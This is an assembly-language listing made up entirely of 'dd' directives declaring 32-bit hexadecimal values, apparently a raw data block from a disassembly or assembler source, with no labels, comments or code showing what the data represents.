dd 4A4EF91Fh, 9F827340h, 0C9F0E9h, 916F7F10h, 0FC47119Eh
dd 0BC6883E3h, 0F6DC3528h, 86C70111h, 3FCC9B4Bh, 4894E024h
dd 5CF3F00Ch, 0CFD21E5h, 958C8EA4h, 0A8070411h, 0D00817EBh
dd 83621B40h, 0B9610787h, 2CE6111Dh, 204CB18h, 4CC7952Ch
dd 85E3098h, 5376E2CAh
dd 0CF40E9C4h, 73B5CA56h, 0B17BCD00h, 945F8F74h, 974A2852h
dd 43920588h, 22D5DE3h, 0C61F8280h, 74BB7F00h, 0B99F06D9h
dd 0F81ECA8Eh, 3FD8D500h, 85F60D33h, 4C37005Bh, 3AB70FC6h
dd 4A0C96FBh, 58EE2F4Dh, 38FF2013h, 4C40F400h, 0AA1D0EE8h
dd 74630511h, 0EEA277Ah, 713F92ACh, 0A0ED04B1h, 67788CDEh
dd 89EFC015h, 0E39D0494h, 0CB435F4Ch, 830CF7Ch, 0DBBD2198h
dd 64B3094Ch, 0E01017ABh, 3B004E3Ch, 0C2BB5BD3h, 0E1EBD8h
dd 807163DDh, 5688CD3Ah, 0B28FAB03h, 23432h, 1969F589h
dd 5833C375h, 0A2006CE6h, 5EEF9C0Dh, 30AEAA60h, 3E798FEEh
dd 571C12B7h, 15C068E2h, 7D1F1D8Bh, 334B07ECh, 3ABB284h
dd 311E8C4Dh, 0DA5E8734h, 354CAA01h, 6C26E0FDh, 0B0845E3Dh
dd 32EF814Eh, 56202E1Eh, 897F374Ch, 17AEAC03h, 17F3335Dh
dd 0B2FFB9h, 758CB1FEh, 4058C64Ah, 9DAF39DEh, 5702AA58h
dd 55B5836Bh, 104E5780h, 0B709780Fh, 24C1266h, 18335A30h
dd 0A811CA68h, 0FC884376h, 0CA60B981h, 243216D4h, 0BFE07C51h
dd 549107C4h, 30C7B19Eh, 8C5C7775h, 8A865212h, 78C13C1Eh
dd 4F828D12h, 7FDB024h, 5A57E6BFh, 377FA394h, 8F90EE50h
dd 401C6A24h, 91A27300h, 0C9EE7Bh, 5FA45D02h, 28BE470Ah
dd 3B1020C0h, 0A7BCDB96h, 78308820h, 0ACD467C6h, 4CA80434h
dd 62880868h, 0E14A2096h, 98ECC34Ch, 0C16D0B7h, 8BEE8FC6h
dd 0A1004621h, 0B5BA9942h, 92E5570Fh, 0EBFD0068h, 92548CA7h
dd 89312BCBh, 0FE4098Ah, 0BF8020BDh, 4DC3318Ch, 0FB018121h
dd 18FC2D3Fh, 0B050CF8Bh, 5A7D67h, 5C127008h, 333C94AEh
dd 8AC8F654h, 7D723600h, 0D0D409D9h, 120714B3h, 4D10EC4Bh
dd 0CA5FC134h, 31DA76E3h, 57D010FBh, 297307CAh, 0FC34EF93h
dd 4E091019h, 810DB33Ch, 91079498h, 0C3E647F8h, 67BF9B10h
dd 22A755D3h, 3C40FA8Eh, 0AE3AE357h, 560BBE97h, 4CE202B4h
dd 31D8085Eh, 0DABC1095h, 0A158004Ch, 5D2AA4E7h, 0CA697818h
dd 55C08089h, 1411ED54h, 0F0133667h, 2014AF2Ch, 26046BCh
dd 925D8CB0h, 80233183h, 8CA8D021h, 262AFC15h, 94C6A4h
dd 1E946AC5h, 9605FD34h, 0EDC75D7Ah, 30DA4492h, 0A6114C58h
dd 2488514Eh, 4D500680h, 2A0161h, 219FA40Dh, 0D37AF6EAh
dd 929060F1h, 1888C78h, 808A554Bh, 0F01F48F0h, 0F70F063Dh
dd 300C3F7Ah, 904A0D00h, 0BFAA6737h, 0E24F2957h, 5FA500B8h
dd 88DF185Eh, 0E8AA71E1h, 7F05E356h, 0F883244Eh, 7890D410h
dd 0E251A3FEh, 0DDD89108h, 0A54C5780h, 0EF43594Eh, 5001B22h
dd 94FB4D4Fh, 0C3E0573Bh, 666A0848h, 0C0E982h, 5E403E23h
dd 0FAC9932h, 0F5A0121Dh, 8F7C8E74h, 0A2738872h, 0D9C84E01h
dd 9B467AF2h, 0BE01031h, 58FF60F3h, 0A46551B1h, 0C9BD3218h
dd 0C0C61848h, 36806289h, 908DA3h, 0BC749648h, 0FC5A8CE6h
dd 290284FCh, 16E78C7Bh, 6B320C48h, 240A9D0Eh, 0D7ACA1ADh
dd 44DCC123h, 8B7A130Eh, 7C5C00E6h, 0A2CA2E46h, 0D0401115h
dd 3F4916E4h, 30BB6432h, 62114CA6h, 9A88B808h, 4CDF4883h
dd 0AF75A8AAh, 0F3231494h, 5989D4D3h, 0F4406C32h, 9B489262h
dd 0A9D1E16Ch, 7837C20h, 8AAEC53Fh, 54A0CB2Ch, 0FDB708C6h
dd 4A9258C1h, 0BC418D1Eh, 3830E214h, 43948807h, 1298F69h
dd 0EDC817E0h, 88E59203h, 880E9A04h, 11163863h, 978E5906h
dd 0BD05210Dh, 7A506368h, 80E02010h, 368E9C81h, 5CE8513Fh
dd 402E5060h, 0B10909Eh, 0A058371Ch, 8276DA84h, 620521A0h
dd 0B12EDCC1h, 43693080h, 0AA46DFC1h, 110820h, 0E193993Eh
dd 94D67292h, 0C9B928C2h, 14B8410Fh, 1EE03877h, 4A129523h
dd 5C49A2DAh, 4C04A1Bh, 0A56055D8h, 9223568Ch, 0FE508BBh
dd 8CBDCD00h, 0EEFB46Dh, 0D5555B3Ch, 757187ACh, 21451F00h
dd 0DE28B02h, 7A182680h, 5E51C088h, 0C49863D1h, 3999EF30h
dd 0D572CCh, 0C491FB6h, 255CD05Fh, 0AB159700h, 45DD65C3h
dd 0D610AB5h, 8FD8F833h, 34E006F3h, 32F668D0h, 5CCC6520h
dd 0E8BC1096h, 0CD64008Ch, 0DE498E25h, 0C96FB82h, 1A0C2D01h
dd 0C626736h, 8930A1F2h, 53851FD1h, 0CFB80F1h, 2F8A5D64h
dd 0DE202405h, 0B8C8EEC5h, 0E31B003Ah, 0DC04D49Bh, 2A03576Dh
dd 47DAC3C4h, 2F60F027h, 0E6460F9Eh, 6980D4CFh, 87DF4A18h
dd 2B8A9613h, 0B88F2C00h, 1541FD70h, 0E8123767h, 0F76E9874h
dd 0C994FC40h, 92763DDDh, 0CF826h, 0CA174A63h, 31C014E5h
dd 0A738B473h, 580E7050h, 0BC009E5Bh, 0F7408A6Ah, 9913A932h
dd 7800DEC0h, 27F4DC41h, 7F24124Dh, 9C280202h, 0EC90EEBFh
dd 2C0078CFh, 93EBA2ACh, 0EA34C2h, 45A66860h, 6FF92358h
dd 649B102Ch, 0FDBE1F02h, 5954627Eh, 18E5D954h, 20A60F3Eh
dd 80C48167h, 0AF8C1DEh, 0CE8044A4h, 0C5208820h, 25BB013Fh
dd 0EEF78274h, 19588C8h, 5C60B089h, 30FC4157h, 90401E10h
dd 1209066h, 8A54899Ah, 0D06B3619h, 0F4519230h, 474C30E8h
dd 1DC70140h, 0E50A18AEh, 74CC348Ah, 80102321h, 78B760AFh
dd 0FA6032D7h, 8B2592A1h, 18850B6Dh, 0B482643Bh, 62183358h
dd 76A63DCAh, 0E42246h, 0C2CA5ACBh, 654AD3F2h, 1B43C303h
dd 0F04699E0h, 0B9854B2Ah, 80FE1E08h, 119DF47Ah, 66588C75h
dd 8C97BC2Ch, 1A015C00h, 5D9133EFh, 0F7890F99h, 88204F1Fh
dd 6ABE4918h, 572D4014h, 0ED0901A8h, 0DFD4A8CDh, 2C670BFh
dd 8654CA5h, 609451E0h, 4B4CDDBFh, 31AF8B00h, 0CF6641EFh
dd 3C3E1318h, 385800A7h, 63B22994h, 65204FE0h, 7F06090Ah
dd 0B4C13192h, 0F8503CD0h, 740E8C19h, 768D254Eh, 9423C43Bh
dd 0A67E5501h, 0B1E4B924h, 626E0650h, 6C1726C4h, 8EF8DC92h
dd 1E1BB900h, 41D7939Ah, 90CB584Eh, 27C61F10h, 0A3ECA018h
dd 601D9Dh, 0E51625DFh, 6E9EFA75h, 59410400h, 4B473111h
dd 34EE58E9h, 0E340388Eh, 2DFDABADh, 8A291A07h, 617E4379h
dd 599B73B0h, 905DDFC4h, 813A7AC8h, 5464DE18h, 664A9408h
dd 3A64169Ch, 962374h, 5E7060Ah, 175C2AC1h, 17C9254Ah
dd 0FE588B4h, 9F923660h, 0CAC764Ah, 220C18A0h, 0FE493241h
dd 0BCDE0E8Ch, 0F12E042h, 17A5DB1h, 622C9FD8h, 2026A2C1h
dd 1361B9E6h, 0C3919238h, 886C8E14h, 83E6C7FBh, 0F119A4EEh
dd 8D9119E5h, 34D1CE0h, 0CEB9052Fh, 9ED0B15Fh, 0F417AF90h
dd 8C43633Bh, 0EA8774A8h, 0DD580C96h, 11FF8213h, 4D066800h
dd 0B4E7DF74h, 5780BB3Ch, 388E3DD1h, 0EB58884Ah, 0D0E20518h
dd 0D0083B79h, 4CA9C0AAh, 0C0460869h, 4B589922h, 0A8097398h
dd 153A66h, 787759Ch, 258E2C9Fh, 0DF828660h, 0CD2A900Eh
dd 0D5FE9C10h, 24E4686h, 76A4CA64h, 10EA3163h, 5CA5CCDh
dd 0FE608587h, 772C888Eh, 20F9A27h, 0CC7F02E8h, 44308538h
dd 0CE4A60E3h, 539F1D95h, 0C4F1DEE7h, 8C131882h, 0A62E526Ch
dd 0CF42BCAEh, 62F203E2h, 1800858Bh, 0A9C43497h, 0F8FA8EFBh
dd 9231C126h, 2C3FB723h, 903B2C50h, 0E03A0813h, 0BE03E523h
dd 0E0E0E905h, 995BCAFh, 11C074B1h, 485BBCC1h, 0CA0B6128h
dd 9C3B76A9h, 59BA0098h, 31D91CCAh, 50E07E04h, 0E5120499h
dd 40A74CD0h, 41390129h, 997144B6h, 0D138CCF8h, 0D72EA4B0h
dd 9AA540E8h, 795C59DCh, 67D81920h, 0AFFE0E82h, 0F2CB1C2Ch
dd 0C43E2CC0h, 84066501h, 528F1466h, 800C106Ch, 97B185EFh
dd 3D27BD00h, 7134D960h
dd 0D4500E43h, 20F64D68h, 98930CF0h, 9DD88800h, 0D4B53918h
dd 0E7230F1Ah, 0F138E50Dh, 0CE01486Ch, 0F266123Fh, 7DD0C8DBh
dd 0F3970080h, 0B13D11B5h, 0B6130D68h, 48605A0Fh, 23638CA2h
dd 0E7119392h, 8CBACE00h, 369C9B19h, 6E13E373h, 6C02528Eh
dd 25140E18h, 5BAC05ABh, 8C68E115h, 0E993EF20h, 573300A8h
dd 0E3B85002h, 0FBF64CD4h, 93195902h, 40ADE27Ah, 2A126838h
dd 94D67Fh, 5DDC4A73h, 9704C9EDh, 8D19E662h, 461C5887h
dd 8CA60256h, 1CB39257h, 60C041A2h, 7D0021B6h, 674A0445h
dd 49429F08h, 7A0CCCD1h, 92C11F37h, 0A4EA822Eh, 328D978Eh
dd 61A9D4D0h, 51B2254Dh, 18380DFCh, 92E9914Bh, 28709998h
dd 18B4BF4h, 75194CC0h, 841838D1h, 0A909D4A3h, 47068000h
dd 9D4DF7E6h, 805D3104h, 7D00B452h, 281210ABh, 0E8046007h
dd 0D4278D2Ah, 0BA4B10Eh, 0C0E6C8ECh, 26B6A6FBh, 4224DC00h
dd 72EAD495h, 7AEE28A2h, 0D18499BCh, 6EC1994h, 11C23C5Ah
dd 0EFAFE006h, 0EA03218Eh, 4812A619h, 0F2AA88BBh, 4FCCAh
dd 1BC0DB61h, 47A4AC6Dh, 0AE44EB1Eh, 9E7F08C5h, 0DBC55CA1h
dd 7A74E0CFh, 0AC1D50A7h, 0D68F1902h, 0F0D72017h, 18C41903h
dd 0A8F00FE4h, 0BF1C033h, 28F446A3h, 5A683D4Ch, 1E103C2Fh
dd 0BA9AC210h, 1C34DA16h, 0C2564513h, 8EF36B7Dh, 910420C7h
dd 9A00C68Ah, 72950194h, 0E0FF4228h, 1DD1D8B1h, 0E3024B18h
dd 5D13B5BBh, 0B25879F5h, 6330E150h, 4EB1104Ch, 5B09E079h
dd 0D240C04Ch, 97B3D53Dh, 1640DC94h, 2530361Eh, 0D0905694h
dd 1702B0CDh, 87BFD060h, 6A336070h, 0F4A8025Eh, 5C8E8DE4h
dd 149998C6h, 6218E671h, 11C5BD00h, 6A916D26h, 5839018Ah
dd 0B3528D35h, 88AC3CCCh, 827784C4h, 0E4089193h, 0A3F8456Bh
dd 0FE6A170h, 0AF000E0Ch, 130B4A9Ch, 13E0450Dh, 0D094011Ch
dd 188A6BACh, 5058A40Dh, 0D438907Ah, 54E56DCBh, 0D66023C4h
dd 9C008F2Fh, 95A5350Ah, 2D3B932Ah, 0EC00EC1Bh, 0FFE7C574h
dd 0F6ABA9C0h, 0B0F91F7Ah, 445C5260h, 45A5C721h, 631F6404h
dd 15C4E814h, 2940067h, 0ACEA7297h, 0C000CECFh, 6FE4F8BFh
dd 3317D3ABh, 0EE185782h, 0E5EFA1h, 40021F79h, 0BF1F1145h
dd 0FD066A0Bh, 20E11Ah, 7805C4F2h, 57034B8Ch, 0B363F60Eh
dd 80B78856h, 0C877FDA2h, 9B07A962h, 9A9118CEh, 0B9D601E0h
dd 0D0BE00CDh, 2269838h, 2106287Dh, 96764073h, 22490041h
dd 71C60835h, 5F0085B0h, 54F84B9Eh, 0C0F23E96h, 878186C0h
dd 6B502CBAh, 1403A6B7h, 0FFFA27DDh, 0E4491E56h, 8F0CFA3Fh
dd 4B393797h, 0A218D00h, 73C09EB6h, 898EB2Ah, 0C5F62147h
dd 0B5AB2100h, 5074A37Dh, 424B1CF8h, 92903101h, 9C845018h
dd 0F3F0FFE4h, 7CD2A8A8h, 79023401h, 7136D3A0h, 0AC080995h
dd 3494B200h, 0F6961A4Fh, 0B821C114h, 0E4620084h, 0ECC5AB15h
dd 0CFB9C073h, 0F6873311h, 0E0D61E0Eh, 0CC08B8EEh, 0B220C0AAh
dd 493F3309h, 7F7E2700h, 0EE40F108h, 0FD9230DEh, 0DD7A5591h
dd 6B5F4200h, 23C9C3E8h, 0A0D0003Ch, 0F2452AC1h, 110571C5h
dd 0AADD7316h, 0C123402Ah, 20C02B1Eh, 0B86ADD71h, 0C0C90950h
dd 18044AE8h, 780A6006h, 0DB4B108Dh, 87BCC856h, 78029Fh
dd 1FB752C2h, 89791A34h, 0C0C88C08h, 0F6863310h, 0C6222646h
dd 3308B100h, 1AB30DD0h, 0B57F051Fh, 4757B65h, 823449E4h
dd 90307E08h, 0B6111121h, 0A64688A6h, 482101CEh, 4460FFFDh
dd 0C5E0044Ch, 4FE101B4h, 98203366h, 3927E2Eh, 7B8C686Eh
dd 188E4A27h, 0B9C99E0Ch, 3BDB30AAh, 6C52DCFCh, 0A730CBA2h
dd 0B22B0148h, 9EE76031h, 18823AEh, 95E6E380h, 52F4CA6Ch
dd 97F60E62h, 6E40C7C2h, 4983A23Ch, 0F9E52A14h, 65B005FCh
dd 8C107203h, 0FC23D8h, 4B8B780Ch, 4486570Bh, 403A1BBh
dd 326DF178h, 11CDA81Fh, 763F0E2Eh, 8F44AB85h, 6ED880CAh
dd 0E502B831h, 0F2156F34h, 8CBCB092h, 0B60D1121h, 804988C6h
dd 7921C46Dh, 6C903685h, 4944E4A7h, 45591460h, 0EFED2898h
dd 0A197F819h, 618FAF0h, 4BC97804h, 0BA3256FBh, 77FEA320h
dd 0E5060EA0h, 3B41B086h, 340B6537h, 0E06984Ch, 6DFB733Ch
dd 44A88730h, 8EA860BDh, 0C35717CAh, 0FFD70149h, 0D295871Eh
dd 93AE848h, 0C85F4B00h, 8F702812h, 0F4C02D8h, 0E4CB69FBh
dd 4C90EC64h, 7B02FE46h, 88790534h, 0B140CC33h, 69643493h
dd 30D53Ch, 0EBC0217Bh, 62972329h, 93025036h, 11347718h
dd 8C687911h, 0B521CDh, 0C748348Fh, 9032030Bh, 246CB309h
dd 508C2C6Eh, 85048C08h, 58790B34h, 7D00B738h, 8025CE34h
dd 0EA1F38h, 30F5DFBAh, 0FEEDF24Bh, 3354ECA1h, 30B9B23Ch
dd 4F3EEF3Fh, 0ACF5005Ch, 0F01D2F8Dh, 7CE72480h, 3D18006Ch
dd 0D54A5FA8h, 3093F724h, 0E62F4081h, 11933325h, 232C2F15h
dd 56BA0042h, 9D4E2937h, 2E3F7909h, 0F4188061h, 30D5F2EDh
dd 0B23138F3h, 0D048AF4Dh, 41992438h, 0C943780Dh, 9D09F891h
dd 4B9088FFh, 18E70E3h, 552A7800h, 64D03732h, 98DD0034h
dd 4DB58648h, 68C2BB13h, 63362DDEh, 3C41CC7Ch, 0E1B9E9h
dd 40E23EEFh, 0F100115Dh, 0B60CE08Dh, 0C0D4B765h, 7134A940h
dd 78C2CCE6h, 68AF4EFFh, 0C0419668h, 76A690D9h, 1739241Bh
dd 8E1639EFh, 4AB219B0h, 0FB9170B3h, 0C2780784h, 7094B332h
dd 77FFA401h, 0D5C576D4h, 68D22C8h, 3E1F7BA2h, 3C03B047h
dd 0E17D9EAh, 771100ADh, 0EBBFFC7Bh, 0F2120D22h, 2C0EDE55h
dd 0FD137DF0h, 0C0944008h, 0B60721CAh, 802473E3h, 6021C26Bh
dd 0EC3218BFh, 4604F9BCh, 0C85AAE01h, 6AD7BAC9h, 0C1CB19D8h
dd 41AF7BB9h, 600FE937h, 2EE8EC39h, 86D42D4Ch, 72287814h
dd 3C0748D5h, 0E8C43FCh, 29D591C1h, 87755601h, 0E5D842CBh
dd 0F8F5E386h, 44D1D891h, 55908218h, 0DA984500h, 0F118DBB7h
dd 1670F6BFh, 42CF11E9h, 40664798h, 0B5C9830Fh, 0C1848B7h
dd 0C092FD10h, 7904347Ah, 0C0A8B990h, 0AE3492B4h, 3F0B750Bh
dd 8C89D6Ah, 8D60E4CEh, 0E2D93119h, 5CAC021Ah, 0F6D59295h
dd 2A00BC44h, 1F141711h, 9277EBDEh, 8E3E0084h, 0D92939A2h
dd 8C90836Ah, 1EB53D20h, 602A2773h, 76151490h, 28DC6EEFh
dd 5A1F2CF7h, 4CAEEB85h, 0FAC52285h, 2D2CBC03h, 0E4190617h
dd 0B138B6C0h, 0DE67B3Ah, 68D22DC9h, 0CCA2CC23h, 3C02E833h
dd 0CED41D2Ah, 4A3572Bh, 45B7A54h, 0F881EABCh, 0C077AA3Bh
dd 560175B0h, 1323BA02h, 48C9190Bh, 0DF9170h, 0E351F352h
dd 0DEBACB5Ch, 830629EEh, 9762C13Ah, 57790CD8h, 27903536h
dd 1D58396Bh, 80479120h, 4F7908D5h, 505461E2h, 7311AC09h
dd 30BCA200h, 9A003EA7h, 0F3D8B985h, 0D2CAE9F1h, 0D4D444B0h
dd 2D5A01F5h, 6100D2EFh, 0B8BA812Ah, 60318090h, 0B8C0D148h
dd 1DF0DC49h, 295246Ch, 0EDE806Ch, 0B4CC229Dh, 5DC29900h
dd 0C83F457h, 78F87659h, 64764D7Dh, 84AD381Dh, 8EF62558h
dd 0C00788A0h, 0A43780DCh, 19039530h, 56297Fh, 12BF3D2Eh
dd 0D744CAAFh, 73938700h, 6DF4FBA1h, 0F12D013Bh, 6C58009h
dd 0F2D0326Bh, 0D52C30D0h, 0C270F558h, 0CAF375h, 0E636AE0Dh
dd 80DF6900h, 0A5B72698h, 73A30271h, 9DFE473Bh, 1893C861h
dd 62109C9h, 509CBEB6h, 21C16A00h, 56538817h, 5BC4091Bh
dd 0E46715CAh, 0BD610544h, 353620DFh, 71C60607h, 29C08F09h
dd 981FF24h, 0C0F6B5ECh
dd 2914708Ah, 0E508F0D8h, 51EC0186h, 0F9C139EAh, 0A048ACD0h
dd 0E5082174h, 5A941082h, 3DA84496h, 0A840D64h, 0E4E33709h
dd 3F609698h, 4DFF8A21h, 0A7AA0078h, 0C05C4625h, 6D3237FEh
dd 4DF279F6h, 0CCD1E0A4h, 687FC319h, 5254214h, 323412A0h
dd 8167A40Ch, 0E02F0C19h, 0FABEC123h, 449C0C90h, 1BD465Eh
dd 0A6B87D6h, 19AECF6Ah, 2EF0574h, 4AC723Ah, 73347930h
dd 2278460Fh, 91B3000Ah, 115ED134h, 980E3FF8h, 60D96063h
dd 0A42F6E0Dh, 3BB30D2Ah, 0F479CE7Eh, 0DB093439h, 182E1777h
dd 26224AA0h, 14D8BDh, 0ABE0B178h, 1603AA29h, 0F7CF93EEh
dd 809CBC76h, 0A9FB6092h, 0ADC85E74h, 64F21700h, 0E74CC45Bh
dd 0BD0D60Bh, 4C20818Ah, 47764F7Dh, 24875E82h, 330FC0ECh
dd 0E4FF679h, 3FB4382Ch, 7B3307h, 87AD9DD1h, 975505C6h
dd 0A1D83854h, 0CE47A517h, 0BAEBB506h, 53E90739h, 5E6A61C3h
dd 0A6432B80h, 0F03F98Eh, 0EED582FBh, 40411435h, 129FEC7Fh
dd 0DF80028h, 0B86CA241h, 0D448A491h, 0E4CE215Ch, 28592F80h
dd 0A3008B0h, 199F77A5h, 0B13A40CCh, 6AFC74F6h, 5721BF1Eh
dd 1947EC64h, 0AC81EE23h, 0A00E9499h, 3CC0C188h, 4FFF188Ch
dd 76244563h, 3788A4E6h, 3428A351h, 48C9178h, 0B60C218Bh
dd 204F628Eh, 1321C36Ch, 0AE7A5B07h, 0DB0B22Bh, 242D3F86h
dd 1A0C647h, 763B2FC9h, 3AC1174Dh, 0F871BDDAh, 4288380Bh
dd 0F8E302C0h, 0B90FC94h, 41E64779h, 0D491DC16h, 0A4184671h
dd 104C385Ch, 290251DAh, 1259D433h, 0B059E0C2h, 0CB18B779h
dd 391CC903h, 0F845FB8Dh, 14D48517h, 0C0D1A9E9h, 1180AC4Dh
dd 6E0CF0C0h, 0A85D60Ch, 8C7DC803h, 10218F05h, 90386EB6h
dd 21C700F8h, 905AE566h, 44B809ADh, 0F2EE1A44h, 4615383Bh
dd 827825ACh, 81107B99h, 544E4C7h, 632EAE60h, 0FE0248C0h
dd 127B5D88h, 263DD61Fh, 12158F8h, 4869693h, 0CE70790Ch
dd 7EB80F70h, 62D4A034h, 137B12BDh, 64B939DDh, 0A734E698h
dd 0FED861D0h, 0D41A2A0Ah, 339400D0h, 0C2553A90h, 79FAEF5Bh
dd 1FB6B800h, 0D5FE999Dh, 7A4923Ch, 2D63046Fh, 0B00CFB0Eh
dd 0C493C1D8h, 7B330507h, 50A2FEE4h, 33FDAEC0h, 8F001672h
dd 0F174DB1Ah, 5AC5184h, 0A63EEF10h, 8B981634h, 0C5C3C8C8h
dd 7A289903h, 3CAD32C3h, 0D92CABB9h, 64975AA0h, 0E80B911h
dd 9FBEFA30h, 1082F00h, 0B6C024FBh, 2734A099h, 0C8606B72h
dd 9C47AC9Ah, 18E50642h, 64139204h, 9830FB86h, 785C3CDFh
dd 0D5F2CCAh, 0D09D69ACh, 0E680BE11h, 75B5FE50h, 0C00327h
dd 0F2D8D44h, 349B0010h, 9535E1E8h, 0E1C2F2EEh, 65AADD23h
dd 60C3C4C0h, 0AF1193Ah, 365C6BB2h, 0A81D4BCCh, 0EE890611h
dd 3522B002h, 11449712h, 0D4C780CBh, 749D5AECh, 2B7602D8h
dd 0BB2DB93Ah, 3E209472h, 0FCFF0054h, 5DC092C2h, 50286C7h
dd 734B9003h, 44C44757h, 72F76008h, 0F1F60926h, 1010BA1Dh
dd 79523BFFh, 904B32F4h, 0C114F8DBh, 2DBE6E20h, 82872D7h
dd 91D48C98h, 330B80C7h, 8C2EF685h, 0B8CA44h, 0B2DE3303h
dd 0A3C6BF24h, 53E5603h, 3C049377h, 0FE8043A9h, 99EA7F23h
dd 0BC006B59h, 6E3C64A9h, 0D122862h, 0F5B3C096h, 99C060F9h
dd 86D4BE07h, 84C1EAF4h, 8C6D2AC0h, 0D964FF1Bh, 30190EC1h
dd 98BEFE68h, 30CBD40h, 43A200CDh, 18898DF7h, 0D92CB852h
dd 24040891h, 3CCC0986h, 21F8CC2h, 0D2BF7C33h, 0FAAF8078h
dd 38259D33h, 70037B83h, 0F0998C36h, 9C2F5888h, 22A00658h
dd 3A155BB2h, 0A23E4h, 73047E5Ah, 57147956h, 78285EAAh
dd 90362727h, 82E391BCh, 5B524C60h, 13D13A80h, 3BD53324h
dd 1F0623F0h, 0C8F600D0h, 7088FB0Bh, 0E83C8758h, 0E443CEh
dd 0C5E7B69Bh, 24B5AD78h, 0CB84308h, 0B9C13B42h, 12D4D920h
dd 4B13EB29h, 141097E8h, 0F724710Eh, 0C464505Dh, 7A330460h
dd 1106F623h, 0FCAD09C8h, 600B8033h, 747426B6h, 0EEC516E9h
dd 426491F1h, 106C6DCDh, 0C012ADA8h, 192822B9h, 27F87CD8h
dd 0F600E97Fh, 0C94D0B87h, 95414A49h, 0A927087h, 20E880A0h
dd 9FB031E3h, 25AFC500h, 243FFEBh, 97ED1FECh, 4C71F1F2h
dd 0EB23D274h, 7DB99323h, 7E6F2B9h, 95B66990h, 3596609Fh
dd 3F049ECAh, 2BF2D50Bh, 43E230A3h, 1A88230h, 3BFBDDC8h
dd 3995F32Fh, 0D2070018h, 6B77ADE2h, 139100D6h, 0F1F3FC02h
dd 0D54F03F4h, 315F944Ch, 80389E92h, 0DA560DB4h, 0D700E6B9h
dd 6DF8C287h, 39204931h, 8B05537Eh, 40C0959Dh, 3AB392ACh
dd 4C98E209h, 0E365B400h, 83F8506Eh, 38B95038h, 810C99F1h
dd 0EB1E4461h, 2494549Ah, 8804DA14h, 4957C008h, 0BF12FF9Dh
dd 0A0098623h, 71E840FDh, 599E090Eh, 0B071D58Fh, 0DEC4ACh
dd 4C2BE25Fh, 79EE3005h, 6E703F00h, 0DE2A8F3Bh, 10D4BC33h
dd 0BB3DC418h, 0A2543329h, 6EB730C5h, 376D0E05h, 4C818B8Fh
dd 0F010327Ah, 0B402F661h, 0D3E0790Ah, 58945314h, 5402E349h
dd 0FF1DC963h, 9070444Ah, 62EBFEBCh, 0DA665134h, 5224CC0h
dd 0A29901FFh, 0BBA23C73h, 1F3E0530h, 0C9C86298h, 8C792CC0h
dd 3A922F04h, 191D9301h, 0EF398ED2h, 3135871Bh, 83C1C220h
dd 0CE3E13A1h, 5C480069h, 683B4CF0h, 0C9F5FC05h, 0C006E23Dh
dd 41CD19h, 0B432427Dh, 2C0813E3h, 0DE9CCE5Ch, 78100023h
dd 56EB4B8Fh, 8D506896h, 7D783C08h, 9D29A900h, 0BED0E615h
dd 0EBBFF502h, 0F9344928h, 184F7958h, 0A665009Bh, 1776E894h
dd 0ED122A05h, 1C3AE01Ah, 1202C123h, 0FA1A255Eh, 16410070h
dd 0A61C6058h, 0D30FBE92h, 0A0673C04h, 0DD981110h, 0D0179794h
dd 0B8804F91h, 6727B517h, 8109DFE6h, 514A5F5Ah, 18BD791Ch
dd 76F578DFh, 5E1D0325h, 6449C2C7h, 4BA8B0A4h, 0A468F182h
dd 30FCDE1Ch, 0C6625525h, 2ACB0998h, 6C00D079h, 78EBF2DBh
dd 0C484B8A9h, 0E093D7Fh, 74186Fh, 0DE26984Ch, 83AE39C0h
dd 70E2B79Ch, 10D8C260h, 25443C48h, 0C4ECE5DCh, 6D0065C8h
dd 22B347D5h, 90F4641Dh, 0FC30B8E5h, 57008C09h, 6FE5F3Ch
dd 51BFDF35h, 0CC7C28B5h, 0F63A3920h, 0F41FCFE9h, 0C19E2101h
dd 1085C665h, 0F272EC31h, 3043F204h, 551FD8D2h, 6584066Ch
dd 50BC9A67h, 1A8C6804h, 8B9D5h, 87024879h, 1F8C119h, 0EDCD0CD1h
dd 88693805h, 24B72A8h, 0EC4A6009h, 0A71F305Ah, 0DF9CB343h
dd 306E9607h, 0EE9AFF11h, 14AC9D4h, 9468481Bh, 2CCA1109h
dd 8CBABCFCh, 7ECDC700h, 0F051AE2Ah, 2C774C3Bh, 0E4F5D584h
dd 0F912A634h, 40A0C25Fh, 18825C9Ch, 0FD21D530h, 7C0AC30Ah
dd 2069110Eh, 0B2C08405h, 0EA4FC830h, 0D6E78361h, 0C80719F4h
dd 31B80E7Ah, 0DC800F84h, 49CEE05h, 4136594Ch, 254CB991h
dd 0ED7849E9h, 4D10B208h, 5C4C77D3h, 0D719850Ch, 2900D881h
dd 0A64F5E1Bh, 1DE29FA7h, 85CBEFB8h, 0C2F6ED61h, 5CE7C01Ch
dd 3F6045E4h, 0F107708Fh, 4B279C1Ch, 0C5FE75E1h, 4930603Eh
dd 84E9D522h, 7990FC18h, 34B67CC4h, 64401BA2h, 0DB80CC3Dh
dd 90964A21h, 163C74Ch, 18000AF6h, 0F8715893h, 9599A1h
dd 83EF72C4h, 66AA7441h, 4030FA62h, 9947A78h, 0AE956549h
dd 74636868h, 98E3C088h, 0A22F43FCh, 0C449314Eh, 0BC0911E2h
dd 8A0C7637h, 620878DDh, 8282C41h, 0CC28B9DDh, 68BE82F0h
dd 109465Eh, 8D7465B2h, 42E9F5C0h, 0B843FFCDh, 9FCBE15Ah
dd 0F200042Ah
dd 0A43CD231h, 90F9EA6Ah, 0CE7C6300h, 219D7C8h, 0F3B9B2Ch
dd 9AC09A68h, 7B31E6D2h, 0BE41B024h, 8E277100h, 7F25309Ah
dd 0C2D42433h, 10C83A56h, 72C7E4CCh, 42BAC0EBh, 110BA502h
dd 8E5188F1h, 0E7CFCB04h, 610764F8h, 7B204C46h, 0EE710318h
dd 1EEFA08Ah, 0DC3BC05Bh, 721DC823h, 0E4EDB89h, 0E2675E70h
dd 973C66ACh, 0B8919C97h, 76295F80h, 70007AF1h, 0B325A03Eh
dd 0A1CF7D3Ah, 5AF240DCh, 0EE840F80h, 0CE015C8Dh, 21549121h
dd 0BCBC7C20h, 0E443CCh, 0EBE0B998h, 9A189D0h, 0E201C1D6h
dd 5E21BC72h, 81E7BD4Ah, 80986AEBh, 0C84E50D8h, 7C093B0Dh
dd 0A0709637h, 4827B470h, 0C40A0490h, 90514AC1h, 4FD9034Ch
dd 0EC03254h, 0D271910h, 0D05FFF06h, 0EE0158ACh, 67F54D90h
dd 0B1A72F19h, 17164E0h, 2065B480h, 4707C8F3h, 0C21B914Ah
dd 9A3019F0h, 73402874h, 0B0944C1Ch, 24E2507Eh, 763B2838h
